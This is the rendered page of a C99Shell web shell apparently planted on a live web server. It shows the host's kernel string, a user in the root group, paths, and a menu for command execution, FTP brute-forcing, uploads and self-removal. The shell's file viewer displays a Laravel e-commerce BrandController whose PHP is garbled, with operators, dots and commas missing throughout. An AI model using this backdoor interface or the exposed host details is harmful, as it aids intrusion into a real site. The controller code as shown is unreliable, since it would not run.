!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Api/   drwxr-xr-x
Free 27.02 GB of 117.98 GB (22.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BrandController.php (6.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api;
/**
 * @package BrandController
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 26-08-2021
 */
use App\Http\Controllers\Controller;
use 
App\Http\Resources\BrandDetailResource;
use 
App\Http\Resources\BrandResource;
use 
App\Models\Brand;
use 
Illuminate\Http\Request;

class 
BrandController extends Controller
{
    
/**
     * Brand List
     *
     * @param Request $request
     * @return json $data
     */
    
public function index(Request $request)
    {
        
$configs $this->initialize([], $request->all());
        
$brands Brand::with('vendor');
        
$name = isset($request->name) ? $request->name null;
        if (!empty(
$name)) {
            
$brands->where('name'strtolower($name));
        }

        
$vendor = isset($request->vendor) ? $request->vendor null;
        if (!empty(
$vendor)) {
            
$brands->whereHas("vendor", function ($q) use ($vendor) {
                
$q->where('name'strtolower($vendor));
            })->
with('vendor');
        }

        
$status = isset($request->status) ? $request->status null;
        if (!empty(
$status)) {
            
$brands->where('status'strtolower($status));
        }

        
$keyword = isset($request->keyword) ? $request->keyword null;
        if (!empty(
$keyword)) {
            if (
is_int($keyword)) {
                
$brands->where('id'$keyword);
            } else {
                if (
strlen($keyword) >= 3) {
                    
$brands->where(function ($query) use ($keyword) {
                        
$query->where('name''LIKE''%' $keyword '%')
                            ->
orwhereHas("vendor", function ($q) use ($keyword) {
                                
$q->where('name''LIKE'"%" $keyword "%");
                            })->
with('vendor')
                            ->
orwhere('status'$keyword);
                    });
                }
            }
        }
        return 
$this->response([
            
'data' => BrandResource::collection($brands->paginate($configs['rows_per_page'])),
            
'pagination' => $this->toArray($brands->paginate($configs['rows_per_page'])->appends($request->all()))
        ]);
    }

    
/**
     * Store Brand
     *
     * @param Request $request
     * @return json $data
     */
    
public function store(Request $request)
    {
        
$validator Brand::storeValidation($request->all());
        if (
$validator->fails()) {
            return 
$this->unprocessableResponse($validator->messages());
        }
        
$request['vendor_id'] = $request->vendor;
        
$brandId = (new Brand)->store(($request->only('name''vendor_id''description''status')));
        if (!empty(
$brandId)) {
            
// File Upload
            
if (isset($request->image) && !empty($request->image) && $request->hasFile('image')) {
                
$path createDirectory("public/uploads/brand");
                
$fileIdList = (new File)->store(
                    [
$request->image],
                    
$path,
                    
'Brand',
                    
$brandId,
                    [
'isUploaded' => false'isOriginalNameRequired' => true]
                );
            }
            
// File Upload End
            
return $this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Brand')]));
        }
        return 
$this->errorResponse();
    }

    
/**
     * Detail Brand
     * @param Request $request
     * @return json $data
     */
    
public function detail($id)
    {
        
$response $this->checkExistence($id'brands');
        if (
$response['status']) {
            return 
$this->response([
                
'data' => new BrandDetailResource(Brand::getAll()->where('id'$id)->first())
            ]);
        }
        return 
$this->response([], 204$response['message']);
    }

    
/**
     * Update Brand Information
     *
     * @param Request $request
     * @return json $data
     */
    
public function update(Request $request$id)
    {
        
$response $this->checkExistence($id'brands');
        if (
$response['status']) {
            
$validator Brand::updateValidation($request->all(), $id);
            if (
$validator->fails()) {
                return 
$this->unprocessableResponse($validator->messages());
            }
            if ((new 
Brand)->updateBrand($request->only('name''vendor_id''description''status'), $id)) {
                if (isset(
$request->image) && !empty($request->image)) {
                    
#delete file region
                    
$fileIds array_column(
                        
json_decode(
                            
json_encode(File::Where(['object_type' => 'BRAND''object_id' => $id])->get(['id'])),
                            
true
                        
),
                        
'id'
                    
);
                    
$oldFileName = isset($fileIds) && !empty($fileIds) ? File::find($fileIds[0])->file_name null;
                    if (isset(
$fileIds) && !empty($fileIds)) {
                        (new 
File)->deleteFiles(
                            
'BRAND',
                            
$id,
                            [
'ids' => [$fileIds], 'isExceptId' => false],
                            
$path 'public/uploads/brand'
                        
);
                    }
                    
#end region
                    #region store files
                    
if (isset($id) && !empty($id) && $request->hasFile('image')) {
                        
$path createDirectory("public/uploads/brand");
                        
$fileIdList = (new File)->store(
                            [
$request->logo],
                            
$path,
                            
'BRAND',
                            
$id,
                            [
'isUploaded' => false'isOriginalNameRequired' => true'resize' => false]
                        );
                        
Cache::forget(config('cache.prefix') . '-brand-image-' $id);
                    }
                    
#end region
                
}
                return 
$this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Brand')]));
            }
            return 
$this->okResponse([], __('No changes found.'));
        }
        return 
$this->response([], 204$response['message']);
    }

    
/**
     * Remove the specified Brand from db.
     *
     * @param int $id
     * @return array
     */
    
public function destroy($id)
    {
        
$response $this->checkExistence($id'brands');
        if (
$response['status']) {
            
$result = (new Brand())->remove($id);
            return 
$this->okResponse([], $result['message']);
        }
        return 
$this->response([], 204$response['message']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--